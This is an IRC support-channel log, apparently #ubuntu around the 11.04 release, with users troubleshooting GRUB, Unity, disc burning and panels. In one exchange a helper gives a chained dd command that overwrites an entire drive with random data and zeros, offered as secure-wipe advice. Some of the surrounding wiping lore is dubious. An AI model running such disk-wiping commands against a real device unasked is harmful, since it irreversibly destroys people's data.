[03:51] <anonemoose> afroman you guys need a good memory scrubber? I have one, if you're interested...
[03:51] <rileyp> Bronz at screen freeze you could try CTRL+alt +f1 and see what happens you may end up in a tty session meaning ubuntu has started up completely but gdm has failed thenits just a matter of resolving that
[03:51] <ohsix> afroman: the best way is to melt it
[03:51] <Herbs> kathie I know Im going to get flamed for this but wtf.... use a distro that suits you
[03:51] <robin0800> xsinick, it dosen't matter as unity now uses different features of compiz than before so may not work now
[03:51] <afroman> dasy2k1: can one retrieve data after? or is it completely gone?
[03:51] <kathie> xangua, I seen that, but you still have to search for it first. I just find it a pain
[03:52] <Bronz> rileyp: Oh, good idea. I'll try that too. Thanks.
[03:52] <xsinick> I feel like to Cuss
[03:52] <rileyp> Bronz,  are you trying latest ubuntu?
[03:52] <usr13> *thorough
[03:52] <soja> when i try to enter in windows from GRUB, the screens turns black and then i come back to GRUB, what's wrong?
[03:52] <OchoZero9> unity --replace` got it working, but I have to put that in every time.
[03:52] <ohsix> afroman: and as been mentioned, dban; but there are also secure erase commands oyu can give most newer drives
[03:52] <xsinick> I so wanted this  to work  out of the box
[03:52] <Bronz> Yup, fresh from the press.
[03:52] <ohsix> afroman: then the drive firmware erases it
[03:52] <dasy2k1> afroman:  as far as you can be sure, its gone.... ok if you are the CIA and have years to spend analaising every molicule you may be able to find one or 2 bits but in general its gone
[03:52] <usr13> afroman: Write zeros to it seven times is industry standard.   You can do that with dd
[03:53] <rileyp> is there any way a remote can type letters in x with the 1 -9 buttons
[03:53] <kathie> Herbs, go to hell! I'm just saying how I feel. I've been using Ubuntu for four years now, and don't plan on changing. But I don't think it's a reason to take a step backwards
[03:53] <ohsix> dasy2k1: the molecules don't move :D their magnetic domains do
[03:53] <xsinick> it's like the one reason I can't recomend ubuntu to any one with a clear mind
[03:53] <Herbs> kathine fine by me you noob
[03:53] <fezzik02> How do I reinstall GRUB2?
[03:53] <arand> kathie: If you right-click the applications button in the panel, you can go to the categories
[03:53] <dasy2k1> usr13:  better to use /dev/urandom for the first 6 passes
[03:53] <cylob> i like unity
[03:53] <xsinick> I like the look
[03:53] <multipass> in 11.04 gnome-- how do i make cursor over edge flip workspace or move windows to otherworspaces(compiz fusion settings used to let me do this in 10.10)?
[03:53] <xsinick>  of unity
[03:53] <kathie> arand, I seen that
[03:53] <KM0201> !grub | fezzik02
[03:53] <ubottu> fezzik02: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[03:53] <cylob> but i just installed google earth and the fonts are all messed up
[03:53] <Herbs> kathine debian wouldnt be a step backwards would it lol
[03:53] <ohsix> Herbs: no need for ad hominem or calling people names, if you have a question ask it; or please be quiet, or take your outbursts to #ubuntu-offtopic
[03:54] <arand> Herbs: Please, you are not being very friendly here..
[03:54] <OchoZero9> I want to like unity, but it's a mission to start it
[03:54] <usr13> dasy2k1: ok... yea
[03:54] <ohsix> cylob: how did you install it?
[03:54] <xsinick> but why is there less stuff
[03:54] <anonemoose> Does anyone know, can Brasero burn DVD+Rs compatible with consumer DVD players? If not, what's a program that can?
[03:54] <xsinick> ?
[03:54] <Herbs> oshix she started
[03:54] <cylob> ohsix: just downloaded it from google and double clicked
[03:54] <OchoZero9> Herbs: maybe you are understating the number of steps
[03:54] <kathie> Herbs, this chat is probably the most helpful place. Idiots like you were never tolerated
[03:54] <Herbs> Im responding as I always will
[03:54] <ohsix> Herbs: i didn't even say what she said; and it doesn't matter
[03:54] <dasy2k1> anonemoose:  should be compatable
[03:54] <ncg> hey
[03:54] <xsinick> I had to change to classic mode to get to customize my tool bar
[03:54] <ncg> can , iask a question here?
[03:55] <xangua> kathie: you can still use 'clasic' gnome desktop i believe
[03:55] <anonemoose> Dasy2k1 I'm just checking here, I don't want to waste any of these
[03:55] <mordof> ncg: don't ask to ask, just ask
[03:55] <xsinick> and to stop it from doubling on  my dual screens
[03:55] <dasy2k1> ncg dont ask to ask , just ask
[03:55] <anonemoose> ncg sure go ahead! It's why we're here
[03:55] <ncg> thanx
[03:55] <rileyp> ncg will you be nice to us?
[03:55] <Herbs> <kathie> I've been using Ubuntu for four years now. I'm finding this new release harder to use. You have to search for programs?
[03:55] <Herbs> <fezzik02> Nothing shows on the screen
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[03:55] <FloodBot3> Herbs: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[03:55] <ncg> okay
[03:55] <Herbs> <rpk> http://fossplanet.com/f10/%5Bbug-757720%5D-re-ubi-partman-crashes-exit-code-141-during-liveinstall-143862/
[03:55] <ohsix> cylob: you might be interested in googleearth-package, it will make a .deb for you, it's cleaner to install and remove that way; also it will depend on, and thus install fonts it depends on
[03:55] <OchoZero9> xangua: yes. that's what I was on just a few minutes ago
[03:55] <cylob> ubuntu is the only linux distro ive found where my usb wireless dongle internet JUST WORKS
[03:55] <ncg> i was upgrading my ubuntu to 11.04
[03:55] <kathie> xangua, I seen that. I'm going to try to get used to this since it looks like it's going to be the new standard
[03:55] <usr13> afroman: dd if=/dev/urandom of=/dev/sdx bs=1024 ; dd if=/dev/zero of=/dev/sdx bs=1024 ; dd if=/dev/zero of=/dev/sdx bs=1024 ; etc (5 more times)
[03:55] <ncg> then my lap power off
[03:55] <cylob> ohsix: is that in the software center?
[03:55] <xsinick> I'm gonna switch back to unity  and take screen shots of problems
[03:56] <rileyp> ncg yyyeeeeeeeeeeesssssssssssss  annnnnnnnnnnnddddddd
[03:56] <ohsix> cylob: yea, it's also the package name if you just want to apt-get install it
[03:56] <usr13> afroman: or 4 more times.... (never was very good with math.)
[03:56] <mordof> ncg: try not to hit Enter so much, with the amount of talking your problem won't get noticed as easily
[03:56] <KM0201> kathie: it takes some getting used to, but once you get the hang of it, it's really not bad.... i chose to switch to xfce, rather than deal w/ unity any longer
[03:56] <teddyroosebelt> boy that upgrade really did a number on my box :(
[03:56] <kathie> An op should boot Herbs, he is really annoying
[03:56] <ohsix> cylob: it contains make-googleearth-package, which you run to make the .deb for you
[03:56] <usr13> afroman: Something like that anyway.
[03:56] <yi`zhi> oooh i just remembered something important (to me at least): will i be able to type in korean, chinese, and japanese when i upgrade?
[03:56] <arand> kathie: I guess the idea is to steer towards using the keyborad, which seems to be faster in the end.. I'm not sure I like it either, but that's Unity for you..
[03:56] <ohsix> KM0201: you know about the classic session right?
[03:56] <rileyp> xfce rocks so simple and never fails
[03:56] <yi`zhi> i use the keyboard input methods thing on 10.10
[03:56] <stbain1> teddyroosebelt, yah, me too (both laptop and desktop). Had to blow one away... trying to salvage the other now.
[03:57] <yi`zhi> will that still be around when i upgrade?
[03:57] <Herbs> for what exactly I have said ubuntu is good
[03:57] <ncg> and when i rebooted , this error appeared : init: playmouth mainprocess (61) killed by SEGV signal
[03:57] <ncg> ?!
[03:57] <mordof> how do i put someone on ignore in irssi? lol
[03:57] <ohsix> Herbs: do you have a question, please take your outbursts elsewhere
[03:57] <KM0201> ohsix: yeah.. but i figure gnome 3 is coming out.. probably in november.. and my laptop is an old crappy one.. .i knew i'd ahve to make the switch eventually, so 11.04 was as good as any>. :)
[03:57] <soreau> gosh darn it why can't they just put the icons on all menus already
[03:57] <mickster04> mordof: /SET IGNORE XXX perhaps?
[03:57] <ohsix> ncg: nvidia or ati card?
[03:57] <dasy2k1> yi`zhi: it will be there somwhere, but if you are using unity it may take some finding!
[03:57] <multipass> in 11.04 gnome-- how do i make cursor over edge flip workspace or move windows to otherworspaces(compiz fusion settings used to let me do this in 10.10)?
[03:57] <fezzik02> error: unsupported RAID level: 255??
[03:57] <teddyroosebelt> stbain1, ya.. i lost my box. im reinstalling with a old disk now. shame on me for upgrading haha
[03:57] <mordof> oh hey, /ignore works, lol
[03:57] <mordof> yay no more Herbs ^-^
[03:57] <soreau> How can you get icons to appear on System menu in gnome-panel?
[03:57] <yi`zhi> dasy2k1, what do you mean? i can't search synaptic or something?
[03:57] <mickster04> mordof: he can still see you though -_-
[03:58] <ohsix> KM0201: the panel and stuff will stay around for a long time, even with gnome-shell
[03:58] <mordof> mickster04: i don't care :p he's been told many times he's being annoying and needs to stop
[03:58]  * yi`zhi is a nublet
[03:58] <arand> soreau: That's a gnome feature you know :þ
[03:58] <kathie> KM0201, arand, I guess it's like anything else, just going to take some getting used to. Is there anyway to add things to the panel?
[03:58] <mordof> mickster04: maybe if 3/4 of the channel ignores him he'll get the picture
[03:58] <KM0201> ohsix: dunno, the gnome 3 panel i tried, looked totally different
[03:58] <mordof> or.. just ramble to himself *shrugs*
[03:58] <ohsix> KM0201: i hesitate to say indefinitely but i can't see some developers leave it behind
[03:58] <arand> soreau: You Can find that in gconf somewhere.
[03:58] <Herbs> ohshix im helping yuour punters I did have an ubuntu specific question last night that no one could answer Im a red hat admin
[03:58] <Ash-catchem> ubuntu freezes when I connect to my router....any ideas?
[03:58] <wurfs> soreau: happened to me - reboot and icons are there
[03:58] <soreau> arand: Yea, I know that. I was asking where
[03:58] <soreau> wurfs: It's a gconf key somewhere
[03:58] <KM0201> kathie: i couldn't figure out how to, but you can create anothe rpanel, and add items to it... (i think).. and just set it to auto hide
[03:58] <yi`zhi> Herbs, seriously, as long as you aren't flooding the channel, who cares what you type?
[03:58] <soreau> How can you get icons to appear on System menu in gnome-panel?
[03:58] <Herbs> the only thing about debian/ubuntu is stop moving things lol
[03:58] <arand> kathie: you use "add to favourites" to add items.
[03:59] <dasy2k1> yi`zhi:  easy to install things as before but the interface is a bit differnt, if you use classic it will be exactly where you expect it tho
[03:59] <yi`zhi> ah ok
[03:59] <anonemoose> So, has anyone had any experiences with Brasero messing up DVD+R, making it incompatible?
[03:59] <afroman> thx
[03:59] <yi`zhi> dasy2k1, do you have suggestions for switching language inputs? or is keyboard input methods the best one?
[03:59] <arand> soreau: /desktop/gnome/interface/menus_have_icons
[03:59] <Ivan96485> Hello, how can I save everything that is currently in my RAM?
[03:59] <yi`zhi> i like it because i can CTRL+space and type in 한글
[03:59] <kathie> KM0201, arand, Ok, thanks for the help! I'm going to go play a little more. Ubuntu still ROCKS!!
[04:00] <soreau> arand: thanks
[04:00] <robin0800> kathie, http://www.omgubuntu.co.uk/2011/01/the-omg-guide-to-must-have-indicator-applets/
[04:00] <soreau> that was it
[04:00] <afroman> usr13: thx
[04:00] <fezzik02> Can anyone explain how GRUB is reinstalled
[04:00] <usr13> afroman: np
[04:00] <dasy2k1> anonemoose: only if you accedentally tick keep the disc open... (excepting the normal amount of coasters that you get with any dvd buring)
[04:00] <afroman> dasy2k1: thx
[04:00] <ohsix> anonemoose: i'm not sure what part would "make" it incompatible, it tries very hard to make images/disks that will play in dvd players; what problem are you having?
[04:00] <mickster04> !grub | fezzik02
[04:00] <ubottu> fezzik02: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[04:00] <bittyx-laptop> now that yi`zhi has mentioned language inputs - in my win7 i use alt+shift+1 for english, alt+shift+2 for serbian/latin, etc. and i prefer to access them directly like this, rather then cycle through them with a single shortcut. is this possible to do in ubuntu?
[04:00] <dasy2k1> fezzik02:  via grub-install normally
[04:01] <kathie> robin0800, thanks!
[04:01] <fezzik02> Ok, but Ubuntu doesn't actually boot.
[04:01] <arand> fezzik02: There is a section on the wiki about reinstalling, I would go with the chroot option.
[04:01] <afroman> dasy2k1: usr13: but is there another way to wipe out just the empty space?
[04:01] <usr13> fezzik02: You boot the live CD and then mount the root filesystem (where / is) and chroot to it and then re-install grub boot loader (properly or ... whatever).  Something like that anyway.
[04:01] <soreau> Great. I went to remove my name from the panel and the entire right side disappeared
[04:01] <anonemoose> ohsix none yet, fingers crossed I won't. I just have a _very_ limited supply of DVD+R discs, and I don't want to waste any that I don't have to... and I make disco balls out of my ruined discs...
[04:01] <KM0201> fezzik02: read the link, you have to do all that from a live cd
[04:01] <JoshuaYoshua> Hi
[04:01] <ohsix> bittyx-laptop: iirc you can assign shortcuts to each ime in the options
[04:01] <usr13> !grub2 | fezzik02
[04:01] <ubottu> fezzik02: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[04:01] <mickster04> fezzik02: well the restoregrub link ois for you then
[04:01] <mickster04> is*
[04:02] <ohsix> anonemoose: ahh, well in that case make brasero burn to an .iso image file; then burn that to the disk
[04:02] <rpk> Can I check the cd for defects in 11.04?
[04:02] <usr13> ooops sorry someone already did that.  Was typing when should have been reading.... sorry.
[04:02] <rpk> to see if thats the cause of the error
[04:02] <mickster04> !md5 | rpk
[04:02] <ubottu> rpk: To verify your Ubuntu ISO image (or other files for which an MD5 checksum is provided), see http://help.ubuntu.com/community/HowToMD5SUM or http://www.linuxquestions.org/linux/answers/LQ_ISO/Checking_the_md5sum_in_Windows
[04:02] <ohsix> anonemoose: then you can skip the huge transcoding task in the middle if you have to try again
[04:02] <anonemoose> ohsix thanks, I'll keep that in mind!
[04:02] <rpk> I meant the burned cd?
[04:02] <Ivan96485> Is there a way to save the data that is currently on my RAM?
[04:02] <dasy2k1> afroman:  not sure why you would want to do that. if you want to delete things use shred -u
[04:02] <rpk> like the old installers had a "Check cd for defects" option
[04:02] <fezzik02> mickster4, Ok, I've done restoregrub about six times, no fix
[04:02] <daniel> how do i burn movies with ubuntu i do everything in brasero then when i click burn it just closes
[04:02] <amorton> Ivan96485, why would you want to?
[04:03] <rpk> I assume its still there, just hidden now?
[04:03] <dasy2k1> rpk still there, you just have to press esc as soon as you see the brown screen
[04:03] <KM0201> fezzik02: then either your ubuntu install is gone, or you're not doing it correctly
[04:03] <mickster04> Ivan96485: not natively no... or hybernate kinda does?
[04:03] <Ash-catchem> ubuntu freezes when I connect to my router....any ideas?
[04:03] <ohsix> bittyx-laptop: ah i just looked, just enable/disable and next/previous
[04:03] <rpk> dasy2k1: thanks
[04:03] <xsinick> robin0800:  smartphone generation that will learn later and add that shit back
[04:03] <Ivan96485> Well, a friend forgot to save a paper that is due tomorrow.
[04:03] <soreau> wtf guys? I tried to remove my name from the panel and all the information on the right side disappeared. Adding Notification Applet does not bring it back
[04:03] <ohsix> bittyx-laptop: maybe something other than ibus can do bindings like you want
[04:03] <fezzik02> km0201, I'm pretty sure it's there, I just installed it this afternoon.
[04:03] <anonemoose> Ivan96485, what was he using? Openoffice has a recover function
[04:04] <ohsix> !resetpanels | soreau
[04:04] <ubottu> soreau: To reset the GNOME panel to defaults, type this in a !terminal: « gconftool --recursive-unset /apps/panel && killall gnome-panel »
[04:04] <fezzik02> When I go to recovery console and select failsafex, it works...
[04:04] <bittyx-laptop> ohsix: yeah, that's what i've been finding as well, hence the question. i realized it's not built-in, but was wondering if there was some hack to make it work like that.
[04:04] <JoshuaYoshua> Does anyone have any advice for burning a disc when you DVD drive might be poor. It's just that I've written Ubuntu 11.04 twice now and I have the burning software validate the disc after and I can open it and see or the files... but after I restart it's not detected when booting and when I try to view the files on the disc it doesn't detect anything.
[04:04] <amorton> Ivan96485, if he closed the software he was using its gone
[04:04] <dasy2k1> springscar: its an indicator applett session you have removed
[04:04] <Ivan96485> amorton: Thanks
[04:04] <JoshuaYoshua> I can see by physically looking at the disc that it has been written to. So I don't know
[04:04] <robin0800> xsinick, you can set it to all then all will be shown
[04:04] <Omega> LibreOffice also has a recover function
[04:04] <mickster04> \!md5 | JoshuaYoshua
[04:04] <xsinick> why do I have to install the appelet stuff back when the system already have it in classic mode
[04:04] <KM0201> fezzik02: if it can't find grub to update/reinstall it.. or you're doing it wrong
[04:04] <Omega> !md5 | JoshuaYoshua
[04:04] <ubottu> JoshuaYoshua: To verify your Ubuntu ISO image (or other files for which an MD5 checksum is provided), see http://help.ubuntu.com/community/HowToMD5SUM or http://www.linuxquestions.org/linux/answers/LQ_ISO/Checking_the_md5sum_in_Windows
[04:04] <xsinick> >:(
[04:04] <ohsix> bittyx-laptop: i know the other one can do it, i can't even remember the name at the moment though, i've been using them through ibus for so long
[04:05] <amorton> I dont think any of those work if you have never saved the doc, am i wrong?
[04:05] <usr13> JoshuaYoshua: turn your speed down I guess is the only advice I can think of.  Or maybe try different CD burning software?
[04:05] <soreau> ohsix: Smooth move, the panels disappeared and now there are *no* panels
[04:05] <fezzik02> km0201, it seems to find GRUB2 just fine
[04:05] <JoshuaYoshua> Well the ISO passes the md5 check, checked that
[04:05] <dasy2k1> JoshuaYoshua: boot the disk, then hit escape when you see the first ubuntu screen, then use check disc for defects
[04:05] <Ivan96485> He was using a program called pages for the mac, since both linux and ubuntu are unix-based I thought you guys would be more helpful than a mac chat.
[04:05] <KM0201> fezzik02: then you're not installing it correctly
[04:05] <anonemoose> amorton OO periodically saves it to a temporary file in case there's a fatal error
[04:05] <Flynsarmy> hey guys i'm doing a "tar cC /path/to/files ." which tars the entire folder but inside the tar file everything is in a '.' subfolder...how can i remove that subfolder?
[04:05] <Omega> soreau: start gnome-panel
[04:05] <usr13> JoshuaYoshua: What software are you using?
[04:05] <amorton> well, then Ivan96485 that would be his best bet
[04:05] <fezzik02> km0201: I don't think Ubiquity really leaves room for doubt
[04:05] <ohsix> soreau: your session manager should have restarted them
[04:05] <soreau> Omega: It was running
[04:05] <Omega> type gnome-panel in a console
[04:05] <daniel> how do i burn movies with ubuntu i do everything in brasero then when i click burn it just closes
[04:05] <soreau> Omega: ohsix: I had to restart it again
[04:06] <ohsix> soreau: if you've got some brain death going on there i don't know what to tell you
[04:06] <KM0201> fezzik02: i'ev reinstalled grub from a live cd, following those instructions, a gazillion times... so i know they are right.,.
[04:06] <bittyx-laptop> ohsix: okay, i'll look it up if it's possible. thanks for the heads up, good to know it's possible.
[04:06] <daniel> is there a better program to use to burn movies
[04:06] <soreau> ohsix: Hey, don't make rude comments to me
[04:06] <afroman> dasy2k1: so is there a way?
[04:06] <sebsebseb> daniel: try K3B I guess
[04:06] <usr13> daniel: You could try k3b
[04:06] <Ivan96485> Still, I would like to know how to save the data on the ram, is there a way to do that on ubuntu?
[04:06] <ChronicSyncope> well dont ask me how, but somehow i got desktop cube working now.
[04:06] <fezzik02> km0201: You can reinstall GRUB2 from Live CD?
[04:06] <dasy2k1> afroman:  probabbly. but i dont know it off the top of my head GIYF
[04:06] <xsinick> the problem is that some dev try to make it an apple
[04:06] <Herbs> daniel try running brasero from a terminal should give you stderror then
[04:06] <ohsix> soreau: i meant with whatever session manager, or lack thereof that you are running
[04:06] <KM0201> fezzik02: have you listeneed to a word thats been said, or even bothered to read that link you were given to, like 5x?
[04:06] <ChronicSyncope> why do menu-items look so ugly when i right-click on them?
[04:07] <JoshuaYoshua> The burning software in Windows 7
[04:07] <Ziber> Is there a way in ubuntu 10.10 to use skype without making the audio stuff be via pulse audio?
[04:07] <arand> fezzik02: Yes you can.
[04:07] <xsinick> becuase they never used linux before and is accustome to  MAc os
[04:07] <JoshuaYoshua> I will try ImgBurn next, but think it will be the same
[04:07] <soreau> <ohsix> soreau: if you've got some brain death going on there i don't know what to tell you <-- I find this very rude and offensive
[04:07] <afroman> usr13: do U know a way to wipe out just the empty space?
[04:07] <KM0201> !grub | fezzik02 now stop asking questions, and read the link
[04:07] <ubottu> fezzik02 now stop asking questions, and read the link: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[04:07] <soreau> ohsix: Do not make rude comments to me
[04:07] <bouma> giday, when i use chmod -R 660 dir  , after chown myuser:myuser -R dir, i can no longer enter the contained dirs with nautilus ? why ?
[04:07] <usr13> fezzik02: https://help.ubuntu.com/community/RestoreGrub
[04:07] <dasy2k1> JoshuaYoshua: ahh, windows default software will most likley just burn the .iso as a single file to a data disk rather then burn the iso to the disk as an image
[04:07] <JoshuaYoshua> I say this because I had trouble with some other things
[04:07] <ohsix> soreau: what session manager are you running? it should have restarted the panel
[04:07] <Strav> Hi. I just upgraded my ubuntu 10.10 to 11.04 (arch is amd64, running an amd e350 apu), the grub menu is gone and while ubuntu still starts to boot, at some point, the screen gets no signal and shut itself off (I cannot access the VTs in this state). Any suggestion on which bug/s I'm having here? (don't want to report a duplicate)
[04:08] <Ziber> !skype
[04:08] <ubottu> To install Skype on Ubuntu, see https://help.ubuntu.com/community/Skype - To record on Skype, check: https://wiki.ubuntu.com/SkypeRecordingHowto - Please use open protocols instead if you can, see !Ekiga
[04:08] <usr13> afroman: Is this empty space at the end of the drive or in the middle or the end?
[04:08] <bouma> i meant, when i use chmod -R 660 dir  , after chown -R myuser:myuser dir, i can no longer enter the contained dirs with nautilus ? why ?
[04:08] <JoshuaYoshua> dasy2k1, nah it burns it as it should
[04:08] <thien> drwxr-xr-x 5 thien root 4096 2011-04-29 01:13 Setup
[04:08] <thien> ==> what is "d"?
[04:08] <soreau> ohsix: Leave me alone because you are not helping
[04:08] <ohsix> thien: directory
[04:08] <fezzik02> Ok, I'm off to try that.
[04:08] <bouma> thien: dir
[04:08] <KM0201> geez..
[04:08] <thien> ok
[04:08] <ChronicSyncope> wtf happened to the minimize to desktop applet for gnome?
[04:08] <ohsix> soreau: i do not know why your panel didn't restart then, not without that information, i'm sorry it didn't
[04:08] <soreau> I need to know why, when I try to remove my name from gnome-panel, it removes the entire right side of the panel info
[04:08] <ChronicSyncope> nvm. i'm stupid.
[04:08] <soreau> ohsix: Don't talk to me
[04:08] <soreau> /ignore ohsix
[04:08] <soreau> err..
[04:09] <bouma> thien: i think it can also have other letters eg special files like "network" sockets eg
[04:09] <KM0201> !stupid | ChronicSyncope
[04:09] <ubottu> ChronicSyncope: The only dumb or stupid question is the one not asked. Please do not tell people off for asking something, just because it seems simple or obvious to you -- we discourage this attitude in all our channels.
[04:09] <ohsix> !ot | soreau
[04:09] <ubottu> soreau: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[04:09] <sebsebseb> soreau: in Unity or   Ubuntu Classic Desktop?
[04:09] <Nostromo> Upgraded from 10.10 to natty, backlight on laptop no longer worked (could only read the screen with a flashlight). Wiped and installed fresh, same problem. No backlight. Anyone have any idea how to fix?
[04:09] <xsinick> ubuntu is operating slower
[04:09] <soreau> sebsebseb: Classic gnome-panel
[04:09] <afroman> usr13: I don't know ... the free space on a partition
[04:09] <Strav> (besides: I tried to reinstall grub from a usb 10.10 install by chrooting into my failed 11.04, and using apt-get and grub-update from there... no luck)
[04:09] <bouma> thien: but im trying to figure out my own simplish chmod quandry ! see previous msg's
[04:09] <ChronicSyncope> lol KM0201
[04:09] <ohsix> Nostromo: wiped and installed natty again?
[04:09] <sebsebseb> soreau: I think Canonial have set it up like that or something
[04:09] <Nostromo> ohsix: yes.
[04:09] <KM0201> ChronicSyncope: :)
[04:09] <usr13> afroman: If it is at the beginning and you can calculate exactly how many bytes to write to, I suppose yes you could, but if it's a section in the middle... well... if you don't know I don't either.
[04:09] <ohsix> Nostromo: that's unfortunately a common problem, intel video right?
[04:09] <sebsebseb> soreau: they want you to use the Gnome 2 patches
[04:09] <soreau> sebsebseb: You're not helping either
[04:09] <Nostromo> ohsix: correct
[04:10] <ohsix> soreau: don't badger people
[04:10] <soreau> I want to know why when trying to remove my name from gnome-panel, the entire right side of everything disappears
[04:10] <stbain1> anyone else running a Broadcom wireless having trouble getting it going (even w/ proprietary firmware driver)?
[04:10] <Nostromo> ohsix: please tell me there is a solution... /praying
[04:10] <xsinick> this is the worst ubuntu ever
[04:10] <sebsebseb> soreau: a bug or feature I guess
[04:10] <bouma> well was hoping for a quick fix but RL calls. check ya l8r
[04:10] <ohsix> Nostromo: ok, you can try installing xorg-edgers and running the kernel they package, it has updated driver components
[04:10] <arand> soreau: The whole thing is one big applet
[04:10] <ChronicSyncope> xsinick, it's been released officially for a day, relax
[04:10] <soreau> arand: Yes how do you edit it?
[04:10] <Strav> Anyone?
[04:10] <kyle___> is there a bug with installing from the latest ubuntu cd's????
[04:10] <soreau> arand: And what is the applet called?
[04:10] <ohsix> Nostromo: but it might not, and you'll need to file a bug; i've told 3 people to file today so it should be getting lots of attention :]
[04:10] <fezzik02> xsinick, I think it could be a veritable Waterloo
[04:11] <arand> soreau: I think you can disable things by uninstalling packages, hmm.
[04:11] <ohsix> kyle___: yes but you won't tell us what it is!
[04:11] <Nostromo> ohsix: fairly new to this, and have to do it by flashlight. Is there an easy command line thingy to type?
[04:11] <usr13> afroman: free space on a partition?  That is a contradiction of terms.
[04:11] <sebsebseb> soreau: I think they have linked it together much more than it was before,  altough only tried that in beta 2, not the 11.04 final yet
[04:11] <kyle___> mainly they dont work
[04:11] <Herbs> well googled ossix
[04:11] <Drone4four> For some reason ALT+F3 doesn't prompt the run dialog box.  wtf? i checked keyboard shortcuts and there is no entry for run dialogue.  how do I get my run dialog back?
[04:11] <Ziber> how can i test my mic in ubuntu?
[04:11] <xsinick> I understand you guys
[04:11] <kyle___> ive tried 32 bit and 64 bit on 3 different pc's  none of them boot
[04:11] <sebsebseb> soreau: it may not be like 10.04, where you can remove some of the stuff, without removing all of it
[04:11] <soreau> Sliker[Bed]: It is a rude comment to me
[04:11] <afroman> usr13: what do U mean?
[04:11] <soreau> I don't care what you think
[04:11] <dasy2k1> Drone4four: its alt+F2
[04:11] <Drone4four> i meant to say alt f2
[04:11] <Drone4four> alt f2 doesn't work
[04:11] <sebsebseb> soreau: oh what a lovely attitude you have for this channel
[04:11] <soreau> sebsebseb: Yes it's not like 10.10
[04:11] <usr13> afroman: Free space refers to an un-partitioned area on a hard drive.
[04:12] <lsheeba> Greetings all , i downloaded the torrent alternate i386 file , i dont have cd's , can i still upgrade from this file i have
[04:12] <xsinick> I understand but to be honest I smell Mac OS  snobbery on my beloved Unbuntu
[04:12] <ohsix> Nostromo: sudo apt-add-repository ppa:xorg-edgers/ppa in a terminal
[04:12] <soreau> sebsebseb: You didn't see what he msg'd me
[04:12] <Rehan> how's it going usr13
[04:12] <soreau> arand: But what is the applet called?
[04:12] <Ziber> Anyone have mic problems with skype in 10.10?
[04:12] <Nostromo> ohsix: you're my hero
[04:12] <dasy2k1> Drone4four:  are you using unity or classic?
[04:12] <Drone4four> classic
[04:12] <xsinick> I got to check this out]
[04:12] <ohsix> Nostromo: then apt-get update, apt-get upgrade
[04:12] <bittyx-laptop> okay, i've installed 11.04, and everything went smoothly, then i rebooted, got to the login screen, entered my password, and all the controls disappeared - now i only see a purplish background and my mouse cursor and nothing's happening (for about 2 minutes now)
[04:12] <Herbs> ohsix why should he add a repo because you say?
[04:12] <ChronicSyncope> what key is KP5 in compiz?
[04:12] <afroman> usr13: I don't think we understand each other
[04:12] <bittyx-laptop> any ideas?
[04:12] <ohsix> Nostromo: it might not fix it
[04:12] <xsinick> I may be a gnome problem
[04:13] <dasy2k1> Drone4four:  working for me, you could allways add the run applet to the panel
[04:13] <ChronicSyncope> nvm. it's the keypad
[04:13] <kyle___> ok ill rephrase,  is there a bug with the latest install cd's mainly that they dont work, ive tried them on 3 different pc's and they wont boot,  kinda makes me worried to upgrade over the net, can anyone confirm this?
[04:13] <Nostromo> ohsix: I'll cross my fingers. Would have reported bug already but seems the registration server is overloaded
[04:13] <soreau> I want to know why when trying to remove my name from gnome-panel, the entire right side of everything disappears
[04:13] <usr13> afroman: The best thing I can tell you is to make an image of  your drive, (on a usb drive would be one option), and then wipe it clean, and then copy the image back on the drive.
[04:13] <ohsix> Nostromo: and in any case if it worked, it would just be something to report with the bug, because the fix needs to get from the updated drivers to the version included in ubuntu
[04:13] <Drone4four> dasy2k1, i'll try adding the run applet to my panel
[04:13] <Nostromo> ohsix: noted
[04:13] <sebsebseb> soreau: I thik it's meant to, like I said before,  Canonical want you to use that stuff
[04:13] <ohsix> soreau: it's part of a hueg combo applet
[04:13] <arand> soreau: indicator-applet I think, and the element have names similar..
[04:13] <dasy2k1> soreau: thats because its one applet, indicator applet session
[04:13] <Herbs> never add a repo someone tells you to without good reason!
[04:14] <bittyx-laptop> how can i force ubuntu to get me back to the login screen (if it's possible)?
[04:14] <afroman> usr13: on a partion, there is used space (containning the data) and free space. I want to wipe out clean just the free space so that nothing can be retrieved.
[04:14] <Drone4four> ty dasy2k1
[04:14] <kyle___> anyone?
[04:14] <soreau> ohsix: sebsebseb: arand: dasy2k1: How can I edit it though?
[04:14] <dasy2k1> bittyx-laptop: alt+printscreen then K
[04:14] <Ivan96485> Does folding@home wortk on 11.04?
[04:14] <soreau> I don't want all that crap in my panel
[04:14] <ohsix> Herbs: it contains updated drivers, it is semi official in ubuntu, they have a bleeding edge and stable driver update ppa; and all the people rolling packages in it are ubuntu developers
[04:14] <sebsebseb> soreau: you may be able to remove an applet for it, but  something tells me, it's not as customisable as before
[04:14] <ohsix> soreau: if you don't want the big one add the ones the big ones include
[04:14] <multipass> gnome was way better than unity
[04:15] <multipass> :|
[04:15] <bittyx-laptop> dasy2k1: heh, thanks.
[04:15] <arand> soreau: I think you can install certain parts of it, e.g. "indicator-messages"
[04:15] <Herbs> ohsix thats cool maybe mention it though
[04:15] <bittyx-laptop> dasy2k1: only problem - now my mouse doesn't work :s
[04:15] <sebsebseb> multipass: you can use Gnome Shell in 11.04 :)
[04:15] <bittyx-laptop> the keyboard works, though...
[04:15] <ChronicSyncope> wow resizing windows the "normal" way with compiz doesn't seem to be working right.
